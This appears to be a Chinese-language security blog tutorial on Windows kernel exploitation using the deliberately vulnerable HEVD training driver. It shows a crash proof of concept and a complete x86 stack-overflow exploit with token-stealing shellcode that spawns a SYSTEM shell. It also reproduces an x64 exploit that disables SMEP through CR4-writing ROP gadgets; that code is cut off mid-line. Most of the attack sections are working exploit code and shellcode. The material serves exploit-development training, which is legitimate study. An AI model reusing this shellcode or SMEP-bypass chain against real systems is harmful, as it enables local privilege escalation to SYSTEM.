Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow

Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow

作者头像
Gcow安全团队
发布于 2021-06-25 08:22:47
发布于 2021-06-25 08:22:47
92900
代码可运行
举报
文章被收录于专栏:Gcow安全团队Gcow安全团队
运行总次数:0
代码可运行

Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1.本文一共4556个字 20张图 预计阅读时间17分钟2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载3.本篇文章是Windows Kernel Exploitation Notes系列文章的第一篇HEVD Stack Overflow4.本篇文章十分适合漏洞安全研究人员进行交流学习5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽

0x00 Environment

1.Download OSR Loader 3.0:[OSROnline]http://www.osronline.com/OsrDown.cfm/osrloaderv30.zip?name=osrloaderv30.zip&id=1572.Download HEVD Source Code & HEVD_3.0:[Github]https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/releases/tag/v3.00

搭建Windbg+VMware双机调试环境可参阅[配置WinDbg,调试操作系统(双机调试)]https://d1nn3r.github.io/2019/02/23/windbgConnectVM一文,笔者最终使用环境如下:

•物理机OS:Windows 10 20H2 x64•物理机WinDbg:10.0.17134.1•虚拟机OS:Windows 7 SP1 x86•VMware:VMware Workstation 15 Pro•Visual Studio 2019

0x01 Foundation Knowledge

关于编写驱动程序微软提供[示例]https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/writing-a-very-small-kmdf--driver偏简单,故笔者从Github上找到另一[示例]https://gist.github.com/hasherezade/ee1a1914dfa2920c77e82fd52717a8fb。如何安装WDK,创建项目及添加源文件不再赘述,可参阅[微软示例]https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/writing-a-very-small-kmdf--driver。驱动程序中源文件代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// Sample "Hello World" driver// creates a HelloDev, that expects one IOCTL#include <ntddk.h>#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)   //#define CTL_CODE(DeviceType, Function, Method, Access) (  ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"#define DEV_NAME L"\\Device\\HelloDev"/// <summary>/// IRP Not Implemented Handler/// </summary>/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>/// <param name="Irp">The pointer to IRP</param>/// <returns>NTSTATUS</returns>NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {    Irp->IoStatus.Information = 0;    Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;    UNREFERENCED_PARAMETER(DeviceObject);    PAGED_CODE();    // Complete the request    IoCompleteRequest(Irp, IO_NO_INCREMENT);    return STATUS_NOT_SUPPORTED;}/// <summary>/// IRP Create Close Handler/// </summary>/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>/// <param name="Irp">The pointer to IRP</param>/// <returns>NTSTATUS</returns>NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {    Irp->IoStatus.Information = 0;    Irp->IoStatus.Status = STATUS_SUCCESS;    UNREFERENCED_PARAMETER(DeviceObject);    PAGED_CODE();    // Complete the request    IoCompleteRequest(Irp, IO_NO_INCREMENT);    return STATUS_SUCCESS;}/// <summary>/// IRP Unload Handler/// </summary>/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>/// <returns>NTSTATUS</returns>VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) {    UNICODE_STRING DosDeviceName = { 0 };    PAGED_CODE();    RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);    // Delete the symbolic link    IoDeleteSymbolicLink(&DosDeviceName);    // Delete the device    IoDeleteDevice(DriverObject->DeviceObject);    DbgPrint("[!] Hello Driver Unloaded\n");}/// <summary>/// IRP Device IoCtl Handler/// </summary>/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>/// <param name="Irp">The pointer to IRP</param>/// <returns>NTSTATUS</returns>NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {    ULONG IoControlCode = 0;    PIO_STACK_LOCATION IrpSp = NULL;    NTSTATUS Status = STATUS_NOT_SUPPORTED;    UNREFERENCED_PARAMETER(DeviceObject);    PAGED_CODE();    IrpSp = IoGetCurrentIrpStackLocation(Irp);    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;    if (IrpSp) {        switch (IoControlCode) {        case HELLO_DRV_IOCTL:            DbgPrint("[< HelloDriver >] Hello from the Driver!\n");            break;        default:            DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);            Status = STATUS_INVALID_DEVICE_REQUEST;            break;        }    }    Irp->IoStatus.Status = Status;    Irp->IoStatus.Information = 0;    // Complete the request    IoCompleteRequest(Irp, IO_NO_INCREMENT);    return Status;}NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {    UINT32 i = 0;    PDEVICE_OBJECT DeviceObject = NULL;    NTSTATUS Status = STATUS_UNSUCCESSFUL;    UNICODE_STRING DeviceName, DosDeviceName = { 0 };    UNREFERENCED_PARAMETER(RegistryPath);    PAGED_CODE();    RtlInitUnicodeString(&DeviceName, DEV_NAME);    RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);    DbgPrint("[*] In DriverEntry\n");    // Create the device    Status = IoCreateDevice(DriverObject,        0,        &DeviceName,        FILE_DEVICE_UNKNOWN,        FILE_DEVICE_SECURE_OPEN,        FALSE,        &DeviceObject);    if (!NT_SUCCESS(Status)) {        if (DeviceObject) {            // Delete the device            IoDeleteDevice(DeviceObject);        }        DbgPrint("[-] Error Initializing HelloDriver\n");        return Status;    }    // Assign the IRP handlers    for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {        // Disable the Compiler Warning: 28169#pragma warning(push)#pragma warning(disable : 28169)        DriverObject->MajorFunction[i] = IrpNotImplementedHandler;#pragma warning(pop)    }    // Assign the IRP handlers for Create, Close and Device Control    DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;    DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;    // Assign the driver Unload routine    DriverObject->DriverUnload = IrpUnloadHandler;    // Set the flags    DeviceObject->Flags |= DO_DIRECT_IO;    DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;    // Create the symbolic link    Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName);    // Show the banner    DbgPrint("[!] HelloDriver Loaded\n");    return Status;}

禁用Spectre缓解:

图1

修改目标系统版本及平台:

图2

生成后将所有文件复制进虚拟机。尽管微软推荐使用[PnPUtil]https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil进行驱动安装,但其于Win7系统下提供功能极少:

图3

故笔者采用OSRLoader进行驱动安装及启用:

图4

WinDbg中查看,加载成功:

图5

之后编译主程序,其负责向驱动程序发出请求:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// Sample app that talks with the HelloDev (Hello World driver)#include <stdio.h>#include <windows.h>#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)const char kDevName[] = "\\\\.\\HelloDev";HANDLE open_device(const char* device_name){    HANDLE device = CreateFileA(device_name,        GENERIC_READ | GENERIC_WRITE,        NULL,        NULL,        OPEN_EXISTING,        NULL,        NULL    );    return device;}void close_device(HANDLE device){    CloseHandle(device);}BOOL send_ioctl(HANDLE device, DWORD ioctl_code){    //prepare input buffer:    DWORD bufSize = 0x4;    BYTE* inBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);    //fill the buffer with some content:    RtlFillMemory(inBuffer, bufSize, 'A');    DWORD size_returned = 0;    BOOL is_ok = DeviceIoControl(device,        ioctl_code,        inBuffer,        bufSize,        NULL, //outBuffer -> None        0, //outBuffer size -> 0        &size_returned,        NULL    );    //release the input bufffer:    HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);    return is_ok;}int main(){    HANDLE dev = open_device(kDevName);    if (dev == INVALID_HANDLE_VALUE) {        printf("Failed!\n");        system("pause");        return -1;    }    send_ioctl(dev, HELLO_DRV_IOCTL);    close_device(dev);    system("pause");    return 0;}

编译完成后复制进虚拟机。WinDbg执行ed nt!Kd_Default_Mask 8命令,如此一来便可查看DbgPrint函数输出结果。执行虚拟机中主程序:

图6

下面于WinDbg中查看由主程序DeviceIoControl函数执行到驱动程序IrpDeviceIoCtlHandler函数经过哪些函数。首先于驱动程序IrpDeviceIoCtlHandler函数处设断,虚拟机中执行主程序,成功断下后kb命令输出结果:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
00 9998dafc 83e7f593 88593e20 885a5738 885a5738 KMDFHelloWorld!IrpDeviceIoCtlHandler01 9998db14 8407399f 866b0430 885a5738 885a57a8 nt!IofCallDriver+0x6302 9998db34 84076b71 88593e20 866b0430 00000000 nt!IopSynchronousServiceTail+0x1f803 9998dbd0 840bd3f4 88593e20 885a5738 00000000 nt!IopXxxControlFile+0x6aa04 9998dc04 83e861ea 00000020 00000000 00000000 nt!NtDeviceIoControlFile+0x2a05 9998dc04 770a70b4 00000020 00000000 00000000 nt!KiFastCallEntry+0x12a06 0013f9a8 770a5864 752f989d 00000020 00000000 ntdll!KiFastSystemCallRet07 0013f9ac 752f989d 00000020 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc08 0013fa0c 75e1a671 00000020 00222003 001a2630 KernelBase!DeviceIoControl+0xf609 0013fa38 00d21929 00000020 00222003 001a2630 kernel32!DeviceIoControlImplementation+0x80

其中0x00d21929地址对应主程序中cmp esi, esp(call ds:__imp__DeviceIoControl@32下一条指令):

图7

其传递给KernelBase!DeviceIoControl第二个参数0x00222003即驱动程序IrpDeviceIoCtlHandler函数中switch判断的IoControlCode

图8

0x02 HEVD—Stack Overflow

首先查看HEVD源码,其源码位于HackSysExtremeVulnerableDriver-3.00\Driver\HEVD目录下。HackSysExtremeVulnerableDriver.c文件与上述部分驱动程序示例结构类似,不再另行赘述。本节对其BufferOverflowStack.c文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include "BufferOverflowStack.h"#ifdef ALLOC_PRAGMA#pragma alloc_text(PAGE, TriggerBufferOverflowStack)#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)#endif // ALLOC_PRAGMA/// <summary>/// Trigger the buffer overflow in Stack Vulnerability/// </summary>/// <param name="UserBuffer">The pointer to user mode buffer</param>/// <param name="Size">Size of the user mode buffer</param>/// <returns>NTSTATUS</returns>__declspec(safebuffers)NTSTATUSTriggerBufferOverflowStack(    _In_ PVOID UserBuffer,    _In_ SIZE_T Size){    NTSTATUS Status = STATUS_SUCCESS;    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };    PAGED_CODE();    __try    {        //        // Verify if the buffer resides in user mode        //        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));#ifdef SECURE        //        // Secure Note: This is secure because the developer is passing a size        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,        // there will be no overflow        //        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));#else        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");        //        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability        // because the developer is passing the user supplied size directly to        // RtlCopyMemory()/memcpy() without validating if the size is greater or        // equal to the size of KernelBuffer        //        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);#endif    }    __except (EXCEPTION_EXECUTE_HANDLER)    {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X\n", Status);    }    return Status;}/// <summary>/// Buffer Overflow Stack Ioctl Handler/// </summary>/// <param name="Irp">The pointer to IRP</param>/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>/// <returns>NTSTATUS</returns>NTSTATUS BufferOverflowStackIoctlHandler(    _In_ PIRP Irp,    _In_ PIO_STACK_LOCATION IrpSp){    SIZE_T Size = 0;    PVOID UserBuffer = NULL;    NTSTATUS Status = STATUS_UNSUCCESSFUL;    UNREFERENCED_PARAMETER(Irp);    PAGED_CODE();    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;    Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;    if (UserBuffer)    {        Status = TriggerBufferOverflowStack(UserBuffer, Size);    }    return Status;}

漏洞位于RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);一句,其在复制时使用UserBuffer长度,且未进行校验,如此一来,若UserBuffer长度超过KernelBuffer长度,可造成溢出。KernelBuffer长度在初始化时为0x800:

图9

下面为触发漏洞POC:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <stdio.h>#include <windows.h>#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)int main(){    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);    if (dev == INVALID_HANDLE_VALUE)     {        printf("Failed!\n");        system("pause");        return -1;    }    printf("Done! Device Handle:0x%p\n",dev);    CHAR* chBuffer;    int chBufferLen = 0x824;    chBuffer = (CHAR*)malloc(chBufferLen);    ZeroMemory(chBuffer, chBufferLen);    memset(chBuffer, 0x41, chBufferLen);    DWORD size_returned = 0;    BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL);    CloseHandle(dev);    system("pause");    return 0;}

int chBufferLen = 0x824;正好可以覆盖到函数返回地址:

图10

图11

完成覆盖,BSOD:

图12

图13

上述POC仅仅是引发崩溃,下面编写Exp以执行Shellcode。Shellcode如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CHAR shellcode[] =        "\x60"                            //pushad        "\x31\xc0"                        //xor eax, eax        "\x64\x8b\x80\x24\x01\x00\x00"    //mov eax,[fs:eax + 0x124]        "\x8b\x40\x50"                    //mov eax,[eax + 0x50]        "\x89\xc1"                        //mov ecx,eax        "\xba\x04\x00\x00\x00"            //mov edx,0x4        "\x8b\x80\xb8\x00\x00\x00"        //mov eax,[eax + 0xb8]<----        "\x2d\xb8\x00\x00\x00"            //sub eax,0xb8            |        "\x39\x90\xb4\x00\x00\x00"        //cmp[eax + 0xb4],edx        |        "\x75\xed"                        //jnz  --------------------        "\x8b\x90\xf8\x00\x00\x00"        //mov edx,[eax + 0xf8]        "\x89\x91\xf8\x00\x00\x00"        //mov[ecx + 0xf8],edx        "\x61"                            //popad        "\x31\xc0"                        //xor eax,eax        "\x5d"                            //pop ebp        "\xc2\x08\x00"                    //ret 0x8        ;

pushadpopad及后续指令用于恢复执行环境,详见后文。mov eax,[fs:eax + 0x124]功能是获取CurrentThread指针内容,fs:[0]存储的是_KPCR结构:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ntdll!_KPCR   +0x000 NtTib            : _NT_TIB   +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD   +0x004 Used_StackBase   : Ptr32 Void   +0x008 Spare2           : Ptr32 Void   +0x00c TssCopy          : Ptr32 Void   +0x010 ContextSwitches  : Uint4B   +0x014 SetMemberCopy    : Uint4B   +0x018 Used_Self        : Ptr32 Void   +0x01c SelfPcr          : Ptr32 _KPCR   +0x020 Prcb             : Ptr32 _KPRCB   +0x024 Irql             : UChar   +0x028 IRR              : Uint4B   +0x02c IrrActive        : Uint4B   +0x030 IDR              : Uint4B   +0x034 KdVersionBlock   : Ptr32 Void   +0x038 IDT              : Ptr32 _KIDTENTRY   +0x03c GDT              : Ptr32 _KGDTENTRY   +0x040 TSS              : Ptr32 _KTSS   +0x044 MajorVersion     : Uint2B   +0x046 MinorVersion     : Uint2B   +0x048 SetMember        : Uint4B   +0x04c StallScaleFactor : Uint4B   +0x050 SpareUnused      : UChar   +0x051 Number           : UChar   +0x052 Spare0           : UChar   +0x053 SecondLevelCacheAssociativity : UChar   +0x054 VdmAlert         : Uint4B   +0x058 KernelReserved   : [14] Uint4B   +0x090 SecondLevelCacheSize : Uint4B   +0x094 HalReserved      : [16] Uint4B   +0x0d4 InterruptMode    : Uint4B   +0x0d8 Spare1           : UChar   +0x0dc KernelReserved2  : [17] Uint4B   +0x120 PrcbData         : _KPRCB

其偏移0x120处存储的是_KPRCB

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ntdll!_KPRCB   +0x000 MinorVersion     : Uint2B   +0x002 MajorVersion     : Uint2B   +0x004 CurrentThread    : Ptr32 _KTHREAD   +0x008 NextThread       : Ptr32 _KTHREAD   +0x00c IdleThread       : Ptr32 _KTHREAD   +0x010 LegacyNumber     : UChar   +0x011 NestingLevel     : UChar   +0x012 BuildType        : Uint2B   +0x014 CpuType          : Char   +0x015 CpuID            : Char   +0x016 CpuStep          : Uint2B   +0x016 CpuStepping      : UChar   +0x017 CpuModel         : UChar   +0x018 ProcessorState   : _KPROCESSOR_STATE    ......

mov eax,[fs:eax + 0x124]指令中0x124偏移用于获取_KPRCBCurrentThread指向内容。_KTHREAD偏移0x40处存储的是_KAPC_STATE

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ntdll!_KTHREAD   +0x000 Header           : _DISPATCHER_HEADER   +0x010 CycleTime        : Uint8B   +0x018 HighCycleTime    : Uint4B   +0x020 QuantumTarget    : Uint8B   +0x028 InitialStack     : Ptr32 Void   +0x02c StackLimit       : Ptr32 Void   +0x030 KernelStack      : Ptr32 Void   +0x034 ThreadLock       : Uint4B   +0x038 WaitRegister     : _KWAIT_STATUS_REGISTER   +0x039 Running          : UChar   +0x03a Alerted          : [2] UChar   +0x03c KernelStackResident : Pos 0, 1 Bit   +0x03c ReadyTransition  : Pos 1, 1 Bit   +0x03c ProcessReadyQueue : Pos 2, 1 Bit   +0x03c WaitNext         : Pos 3, 1 Bit   +0x03c SystemAffinityActive : Pos 4, 1 Bit   +0x03c Alertable        : Pos 5, 1 Bit   +0x03c GdiFlushActive   : Pos 6, 1 Bit   +0x03c UserStackWalkActive : Pos 7, 1 Bit   +0x03c ApcInterruptRequest : Pos 8, 1 Bit   +0x03c ForceDeferSchedule : Pos 9, 1 Bit   +0x03c QuantumEndMigrate : Pos 10, 1 Bit   +0x03c UmsDirectedSwitchEnable : Pos 11, 1 Bit   +0x03c TimerActive      : Pos 12, 1 Bit   +0x03c SystemThread     : Pos 13, 1 Bit   +0x03c Reserved         : Pos 14, 18 Bits   +0x03c MiscFlags        : Int4B   +0x040 ApcState         : _KAPC_STATE    ......

_KAPC_STATE偏移0x10处存储的是指向_KPROCESS指针:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ntdll!_KAPC_STATE   +0x000 ApcListHead      : [2] _LIST_ENTRY   +0x010 Process          : Ptr32 _KPROCESS   +0x014 KernelApcInProgress : UChar   +0x015 KernelApcPending : UChar   +0x016 UserApcPending   : UChar

_EPROCESS结构第一项即为_KPROCESS,故获取到指向_KPROCESS指针等同于获取到_EPROCESS地址:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ntdll!_EPROCESS   +0x000 Pcb              : _KPROCESS   +0x098 ProcessLock      : _EX_PUSH_LOCK   +0x0a0 CreateTime       : _LARGE_INTEGER   +0x0a8 ExitTime         : _LARGE_INTEGER   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF   +0x0b4 UniqueProcessId  : Ptr32 Void   +0x0b8 ActiveProcessLinks : _LIST_ENTRY   +0x0c0 ProcessQuotaUsage : [2] Uint4B   +0x0c8 ProcessQuotaPeak : [2] Uint4B   +0x0d0 CommitCharge     : Uint4B   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK   +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK   +0x0dc PeakVirtualSize  : Uint4B   +0x0e0 VirtualSize      : Uint4B   +0x0e4 SessionProcessLinks : _LIST_ENTRY   +0x0ec DebugPort        : Ptr32 Void   +0x0f0 ExceptionPortData : Ptr32 Void   +0x0f0 ExceptionPortValue : Uint4B   +0x0f0 ExceptionPortState : Pos 0, 3 Bits   +0x0f4 ObjectTable      : Ptr32 _HANDLE_TABLE   +0x0f8 Token            : _EX_FAST_REF    ......

由此mov eax,[eax + 0x50]指令中0x50偏移用于获取_EPROCESS。通过ActiveProcessLinks字段可以实现进程遍历(mov eax,[eax + 0xb8]sub eax,0xb8),查找UniqueProcessId字段等于4的进程(System进程PID为4,cmp[eax + 0xb4],edx)。最后通过mov edx,[eax + 0xf8]mov[ecx + 0xf8],edx两条指令替换Token。

xor eax,eax;pop ebp;retn 8返回STATUS_SUCCESS给IrpDeviceIoCtlHandler函数:

图14

完整Exploit如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <stdio.h>#include <windows.h>#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)int main(){    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);    if (dev == INVALID_HANDLE_VALUE)     {        printf("Failed!\n");        system("pause");        return -1;    }    printf("Done! Device Handle:0x%p\n",dev);    CHAR* chBuffer;    int chBufferLen = 0x824;    chBuffer = (CHAR*)malloc(chBufferLen);    ZeroMemory(chBuffer, chBufferLen);    memset(chBuffer, 0x41, chBufferLen-4);    CHAR* p =(CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);    ZeroMemory(p, 0x60);    __asm {        pushad;        mov edi, p;        mov [edi], 0x60;        mov dword ptr [edi + 0x1], 0x8B64C031;        mov dword ptr [edi + 0x5], 0x00012480;        mov dword ptr [edi + 0x9], 0x50408B00;        mov dword ptr [edi + 0xD], 0x04BAC189;        mov dword ptr [edi + 0x11], 0x8B000000;        mov dword ptr [edi + 0x15], 0x0000B880;        mov dword ptr [edi + 0x19], 0x00B82D00;        mov dword ptr [edi + 0x1D], 0x90390000;        mov dword ptr [edi + 0x21], 0x000000B4;        mov dword ptr [edi + 0x25], 0x908BED75;        mov dword ptr [edi + 0x29], 0x000000F8;        mov dword ptr [edi + 0x2D], 0x00F89189;        mov dword ptr [edi + 0x31], 0x31610000;        mov dword ptr [edi + 0x35], 0x08C25DC0;        mov eax, chBuffer;        mov[eax + 0x820], edi;        popad;    }    DWORD size_returned = 0;    BOOL is_ok = DeviceIoControl(dev,HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL);    CloseHandle(dev);    system("cmd.exe");    system("pause");    return 0;}

成功:

图15

0x03 Bypass SMEP & SMAP

SMEP(Supervisor Mode Execution Prevention)由Intel lvy Bridge引入,从Windows 8开始启用该特性,其作用在于禁止RING-0执行用户空间代码,而SMAP(Supervisor Mode Access Prevention)由Intel Broadwell引入,相较SMEP增加读与写保护:

图16

图17

设置SMEP与SMAP位于CR4寄存器中:

图18

本节内容笔者于Windows 10 1709 x64环境中调试完成(Exp并未执行成功,但笔者从中学到如何获取内核基址以及绕过SMEP),内核版本如下:

Windows 10 Kernel Version 16299 MP (1 procs) Free x64 Built by: 16299.637.amd64fre.rs3_release_svc.180808-1748

查看CR4寄存器内容:

图19

可以看到已启用SMEP。完整Exploit如下(来自[h0mbre's Github]https://github.com/h0mbre/Windows-Exploits/blob/master/Exploit-Code/HEVD/x64_StackOverflow_SMEP_Bypass.cpp):

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* #include <iostream>#include <string>#include <Windows.h>using namespace std;#define DEVICE_NAME             "\\\\.\\HackSysExtremeVulnerableDriver"#define IOCTL                   0x222003typedef struct SYSTEM_MODULE {    ULONG                Reserved1;    ULONG                Reserved2;    ULONG                Reserved3;    PVOID                ImageBaseAddress;    ULONG                ImageSize;    ULONG                Flags;    WORD                 Id;    WORD                 Rank;    WORD                 LoadCount;    WORD                 NameOffset;    CHAR                 Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION {    ULONG                ModulesCount;    SYSTEM_MODULE        Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS {    SystemModuleInformation = 0xb} SYSTEM_INFORMATION_CLASS;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,    __inout PVOID SystemInformation,    __in ULONG SystemInformationLength,    __out_opt PULONG ReturnLength    );HANDLE grab_handle() {    HANDLE hFile = CreateFileA(DEVICE_NAME,        FILE_READ_ACCESS | FILE_WRITE_ACCESS,        FILE_SHARE_READ | FILE_SHARE_WRITE,        NULL,        OPEN_EXISTING,        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,        NULL);    if (hFile == INVALID_HANDLE_VALUE) {        cout << "[!] No handle to HackSysExtremeVulnerableDriver" << endl;        exit(1);    }    cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: 0x" << hex        << (INT64)hFile << endl;    return hFile;}void send_payload(HANDLE hFile, INT64 kernel_base) {    cout << "[>] Allocating RWX shellcode..." << endl;    // slightly altered shellcode from     // https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c    // thank you @Cneelis    BYTE shellcode[] =        "\x65\x48\x8B\x14\x25\x88\x01\x00\x00"      // mov rdx, [gs:188h]       ; Get _ETHREAD pointer from KPCR        "\x4C\x8B\x82\xB8\x00\x00\x00"              // mov r8, [rdx + b8h]      ; _EPROCESS (kd> u PsGetCurrentProcess)        "\x4D\x8B\x88\xf0\x02\x00\x00"              // mov r9, [r8 + 2f0h]      ; ActiveProcessLinks list head        "\x49\x8B\x09"                              // mov rcx, [r9]            ; Follow link to first process in list        //find_system_proc:        "\x48\x8B\x51\xF8"                          // mov rdx, [rcx - 8]       ; Offset from ActiveProcessLinks to UniqueProcessId        "\x48\x83\xFA\x04"                          // cmp rdx, 4               ; Process with ID 4 is System process        "\x74\x05"                                  // jz found_system          ; Found SYSTEM token        "\x48\x8B\x09"                              // mov rcx, [rcx]           ; Follow _LIST_ENTRY Flink pointer        "\xEB\xF1"                                  // jmp find_system_proc     ; Loop        //found_system:        "\x48\x8B\x41\x68"                          // mov rax, [rcx + 68h]     ; Offset from ActiveProcessLinks to Token        "\x24\xF0"                                  // and al, 0f0h             ; Clear low 4 bits of _EX_FAST_REF structure        "\x49\x89\x80\x58\x03\x00\x00"              // mov [r8 + 358h], rax     ; Copy SYSTEM token to current process's token        "\x48\x83\xC4\x40"                          // add rsp, 040h        "\x48\x31\xF6"                              // xor rsi, rsi             ; Zeroing out rsi register to avoid Crash        "\x48\x31\xC0"                              // xor rax, rax             ; NTSTATUS Status = STATUS_SUCCESS        "\xc3";    LPVOID shellcode_addr = VirtualAlloc(NULL,        sizeof(shellcode),        MEM_COMMIT | MEM_RESERVE,        PAGE_EXECUTE_READWRITE);    memcpy(shellcode_addr, shellcode, sizeof(shellcode));    cout << "[>] Shellcode allocated in userland at: 0x" << (INT64)shellcode_addr        << endl;    BYTE input_buff[2088] = { 0 };    INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1    cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl;    INT64 rcx_value = 0x70678; // value we want placed in cr4    INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2    cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl;    memset(input_buff, '\x41', 2056);    memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx    memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value    memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx    memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode    // keep this here for testing so you can see what normal buffers do to subsequent routines    // to learn from for execution restoration    /*    BYTE input_buff[2048] = { 0 };    memset(input_buff, '\x41', 2048);    */    cout << "[>] Input buff located at: 0x" << (INT64)&input_buff << endl;    DWORD bytes_ret = 0x0;    cout << "[>] Sending payload..." << endl;    int result = DeviceIoControl(hFile,        IOCTL,        input_buff,        sizeof(input_buff),        NULL,        0,        &bytes_ret,        NULL);    if (!result) {        cout << "[!] DeviceIoControl 